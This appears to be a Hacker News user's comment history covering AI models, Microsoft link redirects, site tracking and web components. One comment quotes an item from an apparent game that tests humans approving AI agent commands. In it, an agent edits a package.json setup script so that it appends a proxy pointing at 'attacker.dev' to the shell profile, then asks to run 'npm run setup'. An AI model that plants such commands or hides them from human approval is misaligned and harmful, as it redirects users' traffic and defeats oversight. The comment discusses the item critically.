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cube00on Muse Glimmer: 30B-parameter model optimized for always-on local agent workflows

Assuming we can even get the hardware in the first place, it might not even be possible for consumers to buy it at any price if it sells out through "agreements" made years in advance https://news.ycombinator.com/item?id=47045459

cube00on Muse Glimmer: 30B-parameter model optimized for always-on local agent workflows

Friends Don't Let Friends Use Ollama https://news.ycombinator.com/item?id=47788385

cube00on Tl;dv: Over 180k meetings left wide open

"You're on mute"

cube00on Muse Glimmer: 30B-parameter model optimized for always-on local agent workflows

Doesn't setting the question auto-continue timeout before you go to bed fix that?

https://code.claude.com/docs/en/tools-reference#question-aut...

cube00on Cool URIs Don't Change (1998)

Microsoft is so careful about making sure they only use the URL forwarder (go.microsoft.com/fwlink?LinkId=) in their products but then at some point decided "oh this is too hard let's just set most of the IDs to point at the Microsoft support home page" (support.microsoft.com). Not even Windows, all of Microsoft!

The Event Log fwlinks still append the `ProdName=MicrosoftWindowsOperatingSystem` to the URL and the Microsoft Support homepage just ignores them helpfully asking "What do you need help with today?" and putting Windows on the second row of a 5 column grid.

Open the Event Viewer, click on an event and click the blue "Event Log Online Help" hyperlink at the bottom. I'll be willing to bet it won't matter what event you pick, you'll still end up at the Microsoft Support homepage.

Others take you on a roundabout journey to the Microsoft homepage.

  > GET /fwlink/?LinkId=52884 HTTP/1.1
  < Location: https://www.microsoft.com/products/ee/transform.aspx?[snip]
  > GET /products/ee/transform.aspx?[snip] HTTP/2
  < location: https://www.microsoft.com/?[snip]

If you click the Help question mark in Explorer you end up at a Bing search page for the query "get help with file explorer in windows". I thought at one point they had specialised cards shown above the results for these queries but today it's just a generic Bing results page.

  > GET /fwlink/?LinkId=528884 HTTP/1.1
  < Location: https://www.bing.com/search?q=get+help+with+file+explorer+in+windows&filters=guid:%224026535-en-dia%22%20lang:%22en%22&form=S00028

cube00on Tl;dv: Over 180k meetings left wide open

On a personal note, I recognize that I should have kept the researcher updated after his initial outreach earlier this year, and I take full responsibility for that communication gap.

They make it sound like it was a single email. What about all the other outreaches the researcher made to the CEO over a six month period?

Interesting how the CEO didn't contribute any explanation to the blog post and left the CTO out to dry.

cube00on Tl;dv: Over 180k meetings left wide open

I saw an YouTuber the other day sharing their "day in the life" as an Amazon Software Engineer while promoting (as part of a paid sponsorship) the AI note taking feature of SoundCore headphones, claiming they now record their meetings and receive an AI summary at the end.

I wonder how many companies realise these devices that appear as "headsets" are now funnelling their meetings into these new AI companies who are more worried about the World Cup then replying to security researchers.

cube00on How I use LLMs to learn complex topics

The algorithm wanted these "educational" videos to be 10 minutes at first and now it seems to want them to be 20 minutes.

Once I saw that I realised just how padded the content really was and started looking elsewhere.

Other good tells the content is low quality or a bad fit for video are excessive amounts of talking head (should have been a podcast) or stock video clips (it's video, show me something).

cube00on Muse Glimmer: 30B-parameter model optimized for always-on local agent workflows

Considering how all the big players are playing fast [1] and loose [2] with limits, billing [3] and adding undisclosed changes that burn your tokens on autopilot [4], it can't happen soon enough.

[1]: Limits may change without notice, including due to capacity constraints. - https://support.google.com/gemini/answer/16275805?sjid=14713....

[2]: "standard limits" are never defined - https://support.google.com/gemini/answer/16275805?sjid=14713...

[3]: https://tobyonfitnesstech.com/blog/anthropic-refund-scam/

[4]: https://news.ycombinator.com/item?id=48947776

cube00on Ask HN: What are you working on? (August 2026)

Might be worth getting your licencing decided to let your contributors know exactly what their rights are.

As it stands it looks like everything contributed is owned by you with full copyright dispite the footer calling it a "public field archive"

> I have a pile of sources.

cube00on Ask HN: What are you working on? (August 2026)

How city authorities have such poor records of trees they purchase and plant is a mystery to me.

cube00on Mea Culpa – Dark Hours

Maybe it was worth it, Terry's RSS reader is number 1 on the paid news app chart.

https://apps.apple.com/us/app/current-rss-feed-reader/id6758...

cube00on Mea Culpa – Dark Hours

> seems pretty fair

Until 1st August 2027 when the domain will expire (I doubt Terry will keep paying for the domain) leaving those users who memorised the .io version stranded.

You'll note they only redirected it, they didn't offer to transfer the domain.

cube00on Mea Culpa – Dark Hours

It's not much of a mea culpa when there's not even a mention, let alone an apology, for misleading John Gruber.

https://news.ycombinator.com/item?id=49228166

cube00on Mea Culpa – Dark Hours

I don't know, bloggers who publish teases in their feed frustrate me.

https://blog.terrygodier.com/2026/05/24/ive-been-a-little-di...

cube00on Mea Culpa – Dark Hours

My favorite is when they're clearly caught out so they move on to trying to minimise the use and optionally passively aggressively turn it back on you.

"I was genuinely only using Claude to make my writing clearer/redraft/to organize my thoughts because I can't write as well as you can"

The new one for me this week was someone claiming they write exactly like Claude does.

https://news.ycombinator.com/item?id=49212416

cube00on Why MySpace fans want it back as relaunch hinted

Be careful with this site, the footer on each page claims "no tracking" but it's very chatty to it's "engagement" backend with some odd looking numbers included.

  POST https://allthedamn.tools/api/pa/event
  {"n":"pageview","v":36,"u":"https://allthedamn.tools/myspace-profile-generator/","d":"allthedamn.tools","r":"https://news.ycombinator.com/"}  
  {"n":"engagement","sd":93,"d":"allthedamn.tools","u":"https://allthedamn.tools/","e":32684,"v":36}
  {"n":"engagement","sd":100,"d":"allthedamn.tools","u":"https://allthedamn.tools/myspace-profile-generator/","e":2983,"v":36}

Every page is already a GET call so if they want metrics on which tools are being used they can use the server access logs but they're choosing to use this extra layer of engagement tracking for some reason.

The CloudFlare Insights beacon is enabled too. Redacted the page load IDs and timings.

  POST https://allthedamn.tools/cdn-cgi/rum?
  {"resources":[],"referrer":"https://allthedamn.tools/gif-maker/","eventType":1,"firstPaint":[REDACTED],"firstContentfulPaint":[REDACTED],"startTime":[REDACTED],"versions":{"fl":"2024.11.0","js":"2026.6.0","timings":1},"pageloadId":"[REDACTED]","location":"https://allthedamn.tools/word-counter/","nt":"navigate","timingsV2":{"nextHopProtocol":"h3","transferSize":16584,"decodedBodySize":98788},"dt":"","siteToken":"[REDACTED]","st":2}

The privacy policy claims these are "privacy-friendly analytics"

The favicon also has an odd cache policy "max-age=0" so if you're clicking within a tool that uses #anchor such as the Time Zone Tool each click with a different #anchor triggers a call to this favicon.

  GET https://allthedamn.tools/favicon.svg
  304 Not Modified
  cache-control: public, max-age=0, must-revalidate

cube00on Show HN: textlog – A quiet, text-only microblogging platform, open-source, no JS

Please don't use !important at scale https://github.com/BryanHogan/astro-starter-template/commit/...

cube00on Humans missed 1 in 3 threats approving AI agent commands across 40k game runs

I got caught on the `npm run setup` one too. I think the point is the context is shown earlier so it's trying to express that an agent can edit your package.json (which doesn't usually need approval as it's only a file edit) and then asks for your approval to pull the trigger to execute its edited script.

  * I'll run the project setup script to get everything configured.
    // package.json → scripts
    "setup": "npm install && echo 'export DEV_PROXY=http://attacker.dev' >> ~/.zshrc"

  Run bash command
  # Initializing the dev environment for a clean local install
  > npm run setup

cube00on Humans missed 1 in 3 threats approving AI agent commands across 40k game runs

It would have been nice if the game had disclosed that player's actions were being collected for future research.

You don't get any notice or choice it just beams it all up silently in a POST request at the end:

    "timeline": "ex01:N,ob06:Y,s14:N,sc10:N,s02:Y,s04:N,ex09:N,s10:Y,sc15:N"

cube00on Stop sending me your errors

> Not only will it make all 10 of us happy

It's a lonely road indeed.

This is one I often get which I notice because my Android mail client shows the plain text version in the notification so all you see is this failed HTML encoding flooding the screen as the notification text.

Chalk another win up for the Salesforce Marketing Cloud letting an encoding hack from the HTML version leak into the plain text version.

  This is a multi-part message in MIME format.

  --ySCSIjGKGV=_?:
  Content-Type: text/plain; charset="utf-8"
  Content-Transfer-Encoding: 8bit

  &#847;&zwnj; &#847;&zwnj; &#847;&zwnj; &#847;&zwnj; &#847;&zwnj; &#847;&zwnj; &#847;&zwnj; &#847;&zwnj; &#847;&zwnj; &#847;&zwnj; &#847;&zwnj; &#847;&zwnj; &#847;&zwnj; &#847;&zwnj; &#847;&zwnj; &#847;&zwnj; &#847;&zwnj; &#847;&zwnj; [ repeated for a screen full ]

cube00on Flowise is shutting down

With the speed everything is going now, nobody has time to learn nice visual tools. They set their AI agents an objective and leave them to iterate until the objective is reached.

cube00on In Memory of My Wife, Elise Cawley, with Thanks for 36 Wonderful Years

An amazingly detailed tribute, you'd have to think this was taken from a journal, in which case it's impressive to keep such a record of their life, or maybe Stephen just has a fantastic memory.

Even through that detail you can really feel how much he loved and admired her.

> Somehow in the shock of what has happened it feels as if I just met Elise, and now she is gone.

A reminder that time's cruelty is making the wonderful feel shorter than the painful.

> My only solace in this tragedy is that the end came instantly, after a day filled with nothing but joy.

Hopefully we're all lucky enough to be allowed to rest without suffering while surrounded by loved ones.

cube00on Apple is getting this wrong

I wondering how they'd do the iMessage transcript in the voice version they've posted, spoiler: they don't, they just skip over it and the emails too.

cube00on Apple is getting this wrong

Two wrongs don't make a right, even if the plaintiff is playing dirty it doesn't give you the right to join in.

Assuming the exhibits aren't sealed they're publicly available as soon as they're entered by the court during trial.

If they're sealed there's probably a good reason they shouldn't be published until the trial is over (or ever in some cases)

cube00on Apple is getting this wrong

I can't see a judge looking kindly on this being published prior to trial.

It's in court already, fight it there. Even if you win public opinion with your point of view you can still lose in court.

cube00on The Billable Usage API: programmatic cost visibility for Cloudflare

Goes well with every other cloud provider refusing to offer a hard cost cap.

Unless of course you're on their credits then miraculously they do support a hard cap with every service stopping the second you go one cent over.

cube00on Taylor Farms has rewritten its cyclospora statement four times in sixteen days

It's next level for a family owned company act like they have stock holders to please by cutting corners rather then doing the right thing.

cube00on Progressive Web Components

Seems unusual that a commit with the message "Fix broken URLs" stripped out multiple sections on performance from the FAQ [1]

- How does Elena compare against other tools? (Elena vs Lit, Elena vs Stencil, Elena vs Enhance)

- What is the performance like?

The removed sections were once so prominent they were linked from the home page, however that link was not removed along side the parts of the FAQ that were stripped so it's now broken [2].

[1]: https://github.com/arielsalminen/elena/commit/2982c0f79ea113...

[2]: https://elenajs.com/#:~:text=Read%20how%20Elena%20compares%2...

cube00on Progressive Web Components

The scoped custom element registries proposal covers some of the use cases where global elements are problematic https://github.com/WICG/webcomponents/blob/gh-pages/proposal...